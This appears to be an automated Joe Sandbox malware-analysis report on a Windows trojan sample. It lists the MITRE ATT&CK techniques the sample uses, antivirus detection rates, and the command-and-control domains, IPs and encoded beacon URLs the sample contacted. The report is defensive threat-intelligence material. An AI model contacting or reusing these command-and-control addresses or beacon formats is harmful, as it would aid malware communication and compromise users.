Source: C:\Users\user\Desktop\QLLafoDdqv.exe	Code function: 0_2_00751806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00751806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
QLLafoDdqv.exe	55%	ReversingLabs	Win32.Trojan.Strab
QLLafoDdqv.exe	40%	Virustotal		Browse
QLLafoDdqv.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
www.donnavariedades.com	8%	Virustotal	Browse
empowermedeco.com	12%	Virustotal	Browse
www.liangyuen528.com	6%	Virustotal	Browse
natroredirect.natrocdn.com	0%	Virustotal	Browse
www.kasegitai.tokyo	7%	Virustotal	Browse
www.rssnewscast.com	6%	Virustotal	Browse
www.goldenjade-travel.com	9%	Virustotal	Browse
www.shenzhoucui.com	9%	Virustotal	Browse
www.techchains.info	11%	Virustotal	Browse
www.magmadokum.com	9%	Virustotal	Browse
www.660danm.top	11%	Virustotal	Browse
www.antonio-vivaldi.mobi	9%	Virustotal	Browse
www.3xfootball.com	10%	Virustotal	Browse
www.empowermedeco.com	5%	Virustotal	Browse
elettrosistemista.zip	11%	Virustotal	Browse
www.k9vyp11no3.cfd	9%	Virustotal	Browse
www.b301.space	6%	Virustotal	Browse
www.elettrosistemista.zip	7%	Virustotal	Browse
www.joyesi.xyz	4%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://www.empowermedeco.com/fo8o/	100%	Avira URL Cloud	malware
https://www.reg.com/domain/prolong_period_anonymous?dname=www.b301.space&utm_source=www.b301.space&u	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://www.shenzhoucui.com/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=CKPof6WmPR8MjyGgZoDlhb60KxQVVSuHH5TS1bRPLOh5omNg/qt+/6bvCL2pthCxfTLrkj/U4P5Lt/hzCRdBTD8WClZdEhsa3dPrDeE1SdlnJbrG6MsWCo/sylvA1Bg/24QA05c=	100%	Avira URL Cloud	malware
http://www.goldenjade-travel.com/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=LFKqyrcu7g1NCa8cV1r2tNkohroduT6prIMLtaWgKJ9bBKQr4dsnyMPFpMQjJLGR7ieyxupOSpv1HbfUaMaFxgszkgIsi8wfa6/CPqkeX1kME9DjI2TvouO65OvKk6Nl8OEvQ/8=	0%	Avira URL Cloud	safe
http://yourmine.ru/i/parking/glob_parking.png	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://www.value-domain.com/	0%	Virustotal		Browse
https://www.value-domain.com/	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://yourmine.ru/i/parking/glob_parking.png	0%	Virustotal		Browse
http://www.donnavariedades.com/fo8o/?blWd=l+301ZvITCxaX9AHm1YsL655mgOT9ufJgzctOQx29qSsrxX8kw49ykgmumiYYU42xMGxVig5KVZrJosPbs9pCTG1dl0n9Zx5sBovXqlibLG+oTQgCZHMA1AF4xfdSZkJv4XAGCI=&Ixe=Apq4tPPXNdTp2	0%	Avira URL Cloud	safe
https://www.colorfulbox.jp/common/img/bnr/colorfulbox_bnr01.png	0%	Avira URL Cloud	safe
http://www.liangyuen528.com/fo8o/	100%	Avira URL Cloud	malware
http://www.magmadokum.com/fo8o/	0%	Avira URL Cloud	safe
https://www.name.com/domain/renew/rssnewscast.com?utm_source=Sedo_parked_page&utm_medium=button&utm_	0%	Avira URL Cloud	safe
https://www.colorfulbox.jp/common/img/bnr/colorfulbox_bnr01.png	0%	Virustotal		Browse
http://www.antonio-vivaldi.mobi/fo8o/?blWd=PTl5gU/3CD/Xhg5Nd1HWi+eKOiJURJRFTZuVmm6gfrwSjnBrSraU/0GdHAsD0mFxNrARF0zWd8CLwvHKbs6Za05B0b8lb0SJyq2CvxKSeitE8AGVnlTlldZE82pgolkPyTnRDO8=&Ixe=Apq4tPPXNdTp2	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
https://www.name.com/domain/renew/rssnewscast.com?utm_source=Sedo_parked_page&utm_medium=button&utm_	0%	Virustotal		Browse
http://www.magmadokum.com/fo8o/	11%	Virustotal		Browse
http://www.rssnewscast.com/fo8o/	0%	Avira URL Cloud	safe
http://www.empowermedeco.com/fo8o/	8%	Virustotal		Browse
http://www.liangyuen528.com/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=iiIkdrB6KYcVQoN0c6CfZniI+lK17wmUSOc41yM1Q/k97jiJcokuWPbOTxiCodGWiOQkUrp21l37eyMeLTp+RFkz+4bzDeEKKqRZgAR6qoTILtOL6EdJZhJZBnFdSPOr30I02M8=	100%	Avira URL Cloud	malware
http://www.liangyuen528.com/fo8o/	6%	Virustotal		Browse
http://www.elettrosistemista.zip/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=bO1UBvtoHFNUmlWGmXL3o3L5Dhw+Vy81qF418M7UHpKKa2cgLZsmM/SsbGGojtls67Xc6OgTo57aJm1+bsxMMgl3a4mkxzPbkN9BQKjpJMF6ezHcknvvvjzNmyPcHDwhODu1wVk=	100%	Avira URL Cloud	malware
https://www.google.com	0%	Virustotal		Browse
http://www.empowermedeco.com/fo8o/?blWd=mxnR+iHPFb8HZiaBBOLBDF0OC7azb6MRPLEBGwFodGelSqoCQiBwPqu0WU7djgVoJgj4cKk6Pp6Q/yIaSghKYS1O+KnDGu0Ee7a9fQq7JRnHJ6pn6i4sEdb7G20jo8euDHkgubc=&Ixe=Apq4tPPXNdTp2	100%	Avira URL Cloud	malware
http://www.kasegitai.tokyo/fo8o/	100%	Avira URL Cloud	malware
http://www.shenzhoucui.com/fo8o/	100%	Avira URL Cloud	malware
https://2domains.ru/	0%	Avira URL Cloud	safe
http://www.rssnewscast.com/fo8o/?blWd=x3jV/ECx7FuzXOI5niBKCyXhuUkTi7THyCIVaqWvGMMqpfz0YC5wLsL1wYxwFH1KuInYTmXKqKNNujOvwtdNp7YHjVi2aBezyBUOenUja13YBEIShwN33HoHbXtrY+oqbh1getk=&Ixe=Apq4tPPXNdTp2	0%	Avira URL Cloud	safe
http://www.joyesi.xyz/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=4jpq/azRsxa5RUjY86tNWfjSBjUfGmQA/bC5edk8IUrTRSqWoRPa/8wzulAZuqVnvDzKNkDL1IzsWztH+C0v0tvbjYVZrXx7xEZksJc7712LnlYWiWRTV2JAY9clvZ1jJotY128=	0%	Avira URL Cloud	safe
http://www.goldenjade-travel.com/fo8o/	0%	Avira URL Cloud	safe
https://parking.reg.ru/script/get_domain_data?domain_name=www.b301.space&rand=	0%	Avira URL Cloud	safe
http://www.joyesi.xyz/fo8o/	0%	Avira URL Cloud	safe
http://www.rssnewscast.com/fo8o/	5%	Virustotal		Browse
https://2domains.ru	0%	Avira URL Cloud	safe
http://www.antonio-vivaldi.mobi/fo8o/	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://www.elettrosistemista.zip/fo8o/	100%	Avira URL Cloud	malware
https://www.empowermedeco.com/fo8o/?blWd=mxnR	100%	Avira URL Cloud	malware
http://www.donnavariedades.com/fo8o/	0%	Avira URL Cloud	safe
http://www.b301.space/	0%	Avira URL Cloud	safe
https://code.jquery.com/jquery-3.7.1.min.js	0%	Avira URL Cloud	safe
http://www.kasegitai.tokyo/fo8o/?blWd=0LNqIGaAWMhMIMLJ2VJjkgaiCF/+7LEr9lFre+yu3/9GvRNYi1uHmkVftE7qrB4Q/AkDmlcR4eDvWrml8CJ8ssmc93kihOWHWb8NTA0vbQpCHGBmxgdm5sPEbG1Wvor0LSPPjnI=&Ixe=Apq4tPPXNdTp2	100%	Avira URL Cloud	malware
https://www.sedo.com/services/parking.php3	0%	Avira URL Cloud	safe
https://codepen.io/uzcho_/pens/popular/?grid_type=list	0%	Avira URL Cloud	safe
http://www.b301.space/fo8o/?blWd=AU3XYvZFaGSlytwuLg8MPaUQqx3yoZo+slWhncsJrkz7OmZN7i/xsh6l91syvPfChHr514cSZiYi12sQUpLBNWUGgXkiv5tYdsczWAt3YIqQCRozzWbYSNnfkFwi3fxcOtzIASs=&Ixe=Apq4tPPXNdTp2	0%	Avira URL Cloud	safe
https://www.reg.com/domain/service/domain-broker?dname=www.b301.space&utm_source=www.b301.space&utm_	0%	Avira URL Cloud	safe
http://www.b301.space/fo8o/	0%	Avira URL Cloud	safe
https://codepen.io/uzcho_/pen/eYdmdXw.css	0%	Avira URL Cloud	safe
https://www.reg.com/domain/new/rereg_details?dname=www.b301.space&utm_source=www.b301.space&utm_medi	0%	Avira URL Cloud	safe
https://rakkoma.com/	0%	Avira URL Cloud	safe
https://www.value-domain.com/modall.php	0%	Avira URL Cloud	safe
http://www.b301.space	0%	Avira URL Cloud	safe
http://www.magmadokum.com/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=qL3nKp+YSjoaTomgQjyPoknaJzFflnvGMW8DXsDTZ4AADrD7Wpn1i04piMS1+AOWgCBMohpgbh6Cuut9PSzjNWAySNtnq/EMXCTP7S4oEh8mb9sAZyquFiTVTuU6HpMKOeASrGw=	0%	Avira URL Cloud	safe
http://www.techchains.info/fo8o/	100%	Avira URL Cloud	phishing
https://reg.ru?target=_blank	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.donnavariedades.com	15.197.240.20	true	false	8%, Virustotal, Browse	unknown
empowermedeco.com	217.196.55.202	true	false	12%, Virustotal, Browse	unknown
www.liangyuen528.com	15.197.172.60	true	false	6%, Virustotal, Browse	unknown
natroredirect.natrocdn.com	85.159.66.93	true	false	0%, Virustotal, Browse	unknown
www.kasegitai.tokyo	52.25.92.0	true	false	7%, Virustotal, Browse	unknown
elettrosistemista.zip	195.110.124.133	true	false	11%, Virustotal, Browse	unknown
www.3xfootball.com	154.215.72.110	true	false	10%, Virustotal, Browse	unknown
www.shenzhoucui.com	72.52.178.23	true	false	9%, Virustotal, Browse	unknown
www.antonio-vivaldi.mobi	46.30.211.38	true	false	9%, Virustotal, Browse	unknown
www.goldenjade-travel.com	116.50.37.244	true	false	9%, Virustotal, Browse	unknown
www.rssnewscast.com	91.195.240.94	true	false	6%, Virustotal, Browse	unknown
www.techchains.info	66.29.149.46	true	false	11%, Virustotal, Browse	unknown
www.b301.space	194.67.71.191	true	false	6%, Virustotal, Browse	unknown
www.magmadokum.com	unknown	unknown	true	9%, Virustotal, Browse	unknown
www.660danm.top	unknown	unknown	true	11%, Virustotal, Browse	unknown
www.joyesi.xyz	unknown	unknown	true	4%, Virustotal, Browse	unknown
www.empowermedeco.com	unknown	unknown	true	5%, Virustotal, Browse	unknown
www.k9vyp11no3.cfd	unknown	unknown	true	9%, Virustotal, Browse	unknown
www.elettrosistemista.zip	unknown	unknown	true	7%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.shenzhoucui.com/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=CKPof6WmPR8MjyGgZoDlhb60KxQVVSuHH5TS1bRPLOh5omNg/qt+/6bvCL2pthCxfTLrkj/U4P5Lt/hzCRdBTD8WClZdEhsa3dPrDeE1SdlnJbrG6MsWCo/sylvA1Bg/24QA05c=	false	Avira URL Cloud: malware	unknown
http://www.empowermedeco.com/fo8o/	false	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.goldenjade-travel.com/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=LFKqyrcu7g1NCa8cV1r2tNkohroduT6prIMLtaWgKJ9bBKQr4dsnyMPFpMQjJLGR7ieyxupOSpv1HbfUaMaFxgszkgIsi8wfa6/CPqkeX1kME9DjI2TvouO65OvKk6Nl8OEvQ/8=	false	Avira URL Cloud: safe	unknown
http://www.donnavariedades.com/fo8o/?blWd=l+301ZvITCxaX9AHm1YsL655mgOT9ufJgzctOQx29qSsrxX8kw49ykgmumiYYU42xMGxVig5KVZrJosPbs9pCTG1dl0n9Zx5sBovXqlibLG+oTQgCZHMA1AF4xfdSZkJv4XAGCI=&Ixe=Apq4tPPXNdTp2	true	Avira URL Cloud: safe	unknown
http://www.liangyuen528.com/fo8o/	false	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.magmadokum.com/fo8o/	false	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.antonio-vivaldi.mobi/fo8o/?blWd=PTl5gU/3CD/Xhg5Nd1HWi+eKOiJURJRFTZuVmm6gfrwSjnBrSraU/0GdHAsD0mFxNrARF0zWd8CLwvHKbs6Za05B0b8lb0SJyq2CvxKSeitE8AGVnlTlldZE82pgolkPyTnRDO8=&Ixe=Apq4tPPXNdTp2	false	Avira URL Cloud: safe	unknown
http://www.rssnewscast.com/fo8o/	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.liangyuen528.com/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=iiIkdrB6KYcVQoN0c6CfZniI+lK17wmUSOc41yM1Q/k97jiJcokuWPbOTxiCodGWiOQkUrp21l37eyMeLTp+RFkz+4bzDeEKKqRZgAR6qoTILtOL6EdJZhJZBnFdSPOr30I02M8=	false	Avira URL Cloud: malware	unknown
http://www.elettrosistemista.zip/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=bO1UBvtoHFNUmlWGmXL3o3L5Dhw+Vy81qF418M7UHpKKa2cgLZsmM/SsbGGojtls67Xc6OgTo57aJm1+bsxMMgl3a4mkxzPbkN9BQKjpJMF6ezHcknvvvjzNmyPcHDwhODu1wVk=	false	Avira URL Cloud: malware	unknown
http://www.empowermedeco.com/fo8o/?blWd=mxnR+iHPFb8HZiaBBOLBDF0OC7azb6MRPLEBGwFodGelSqoCQiBwPqu0WU7djgVoJgj4cKk6Pp6Q/yIaSghKYS1O+KnDGu0Ee7a9fQq7JRnHJ6pn6i4sEdb7G20jo8euDHkgubc=&Ixe=Apq4tPPXNdTp2	false	Avira URL Cloud: malware	unknown
http://www.kasegitai.tokyo/fo8o/	false	Avira URL Cloud: malware	unknown
http://www.shenzhoucui.com/fo8o/	false	Avira URL Cloud: malware	unknown
http://www.rssnewscast.com/fo8o/?blWd=x3jV/ECx7FuzXOI5niBKCyXhuUkTi7THyCIVaqWvGMMqpfz0YC5wLsL1wYxwFH1KuInYTmXKqKNNujOvwtdNp7YHjVi2aBezyBUOenUja13YBEIShwN33HoHbXtrY+oqbh1getk=&Ixe=Apq4tPPXNdTp2	false	Avira URL Cloud: safe	unknown
http://www.joyesi.xyz/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=4jpq/azRsxa5RUjY86tNWfjSBjUfGmQA/bC5edk8IUrTRSqWoRPa/8wzulAZuqVnvDzKNkDL1IzsWztH+C0v0tvbjYVZrXx7xEZksJc7712LnlYWiWRTV2JAY9clvZ1jJotY128=	false	Avira URL Cloud: safe	unknown
http://www.goldenjade-travel.com/fo8o/	false	Avira URL Cloud: safe	unknown
http://www.joyesi.xyz/fo8o/	false	Avira URL Cloud: safe	unknown
http://www.antonio-vivaldi.mobi/fo8o/	false	Avira URL Cloud: safe	unknown
http://www.elettrosistemista.zip/fo8o/	false	Avira URL Cloud: malware	unknown
http://www.donnavariedades.com/fo8o/	true	Avira URL Cloud: safe	unknown
http://www.kasegitai.tokyo/fo8o/?blWd=0LNqIGaAWMhMIMLJ2VJjkgaiCF/+7LEr9lFre+yu3/9GvRNYi1uHmkVftE7qrB4Q/AkDmlcR4eDvWrml8CJ8ssmc93kihOWHWb8NTA0vbQpCHGBmxgdm5sPEbG1Wvor0LSPPjnI=&Ixe=Apq4tPPXNdTp2	false	Avira URL Cloud: malware	unknown
http://www.b301.space/fo8o/?blWd=AU3XYvZFaGSlytwuLg8MPaUQqx3yoZo+slWhncsJrkz7OmZN7i/xsh6l91syvPfChHr514cSZiYi12sQUpLBNWUGgXkiv5tYdsczWAt3YIqQCRozzWbYSNnfkFwi3fxcOtzIASs=&Ixe=Apq4tPPXNdTp2	false	Avira URL Cloud: safe	unknown
http://www.b301.space/fo8o/	false	Avira URL Cloud: safe	unknown
http://www.magmadokum.com/fo8o/?Ixe=Apq4tPPXNdTp2&blWd=qL3nKp+YSjoaTomgQjyPoknaJzFflnvGMW8DXsDTZ4AADrD7Wpn1i04piMS1+AOWgCBMohpgbh6Cuut9PSzjNWAySNtnq/EMXCTP7S4oEh8mb9sAZyquFiTVTuU6HpMKOeASrGw=	false	Avira URL Cloud: safe	unknown
http://www.techchains.info/fo8o/	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.reg.com/domain/prolong_period_anonymous?dname=www.b301.space&utm_source=www.b301.space&u	netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://yourmine.ru/i/parking/glob_parking.png	netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.value-domain.com/	netbtugc.exe, 00000004.00000002.4580387603.0000000003CA6000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.colorfulbox.jp/common/img/bnr/colorfulbox_bnr01.png	netbtugc.exe, 00000004.00000002.4580387603.0000000003CA6000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.name.com/domain/renew/rssnewscast.com?utm_source=Sedo_parked_page&utm_medium=button&utm_	netbtugc.exe, 00000004.00000002.4580387603.00000000042EE000.00000004.10000000.00040000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4582252078.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003D4E000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com	netbtugc.exe, 00000004.00000002.4582252078.0000000005C20000.00000004.00000800.00020000.00000000.sdmp, netbtugc.exe, 00000004.00000002.4580387603.0000000004DEC000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.000000000484C000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://2domains.ru/	netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://parking.reg.ru/script/get_domain_data?domain_name=www.b301.space&rand=	netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://2domains.ru	netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.empowermedeco.com/fo8o/?blWd=mxnR	netbtugc.exe, 00000004.00000002.4580387603.0000000004C5A000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.00000000046BA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.b301.space/	netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.7.1.min.js	netbtugc.exe, 00000004.00000002.4580387603.0000000003CA6000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sedo.com/services/parking.php3	WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003D4E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://codepen.io/uzcho_/pens/popular/?grid_type=list	netbtugc.exe, 00000004.00000002.4580387603.0000000004612000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004072000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.com/domain/service/domain-broker?dname=www.b301.space&utm_source=www.b301.space&utm_	WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://codepen.io/uzcho_/pen/eYdmdXw.css	netbtugc.exe, 00000004.00000002.4580387603.0000000004612000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004072000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.com/domain/new/rereg_details?dname=www.b301.space&utm_source=www.b301.space&utm_medi	netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rakkoma.com/	WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.value-domain.com/modall.php	WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000003706000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.b301.space	WOaBXdWwIJKzuV.exe, 00000008.00000002.4581093569.000000000561F000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	netbtugc.exe, 00000004.00000002.4582345047.000000000769A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reg.ru?target=_blank	netbtugc.exe, 00000004.00000002.4580387603.00000000052A2000.00000004.10000000.00040000.00000000.sdmp, WOaBXdWwIJKzuV.exe, 00000008.00000002.4578560291.0000000004D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.195.240.94	www.rssnewscast.com	Germany	47846	SEDO-ASDE	false
15.197.240.20	www.donnavariedades.com	United States	7430	TANDEMUS	false
52.25.92.0	www.kasegitai.tokyo	United States	16509	AMAZON-02US	false
116.50.37.244	www.goldenjade-travel.com	Taiwan; Republic of China (ROC)	18046	DONGFONG-TWDongFongTechnologyCoLtdTW	false
199.59.243.226	unknown	United States	395082	BODIS-NJUS	false
85.159.66.93	natroredirect.natrocdn.com	Turkey	34619	CIZGITR	false
66.29.149.46	www.techchains.info	United States	19538	ADVANTAGECOMUS	false
72.52.178.23	www.shenzhoucui.com	United States	32244	LIQUIDWEBUS	false
154.215.72.110	www.3xfootball.com	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	false
195.110.124.133	elettrosistemista.zip	Italy	39729	REGISTER-ASIT	false
194.67.71.191	www.b301.space	Russian Federation	197695	AS-REGRU	false
46.30.211.38	www.antonio-vivaldi.mobi	Denmark	51468	ONECOMDK	false
15.197.172.60	www.liangyuen528.com	United States	7430	TANDEMUS	false
217.196.55.202	empowermedeco.com	Norway	29300	AS-DIRECTCONNECTNO	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1486705
Start date and time:	2024-08-02 13:49:33 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
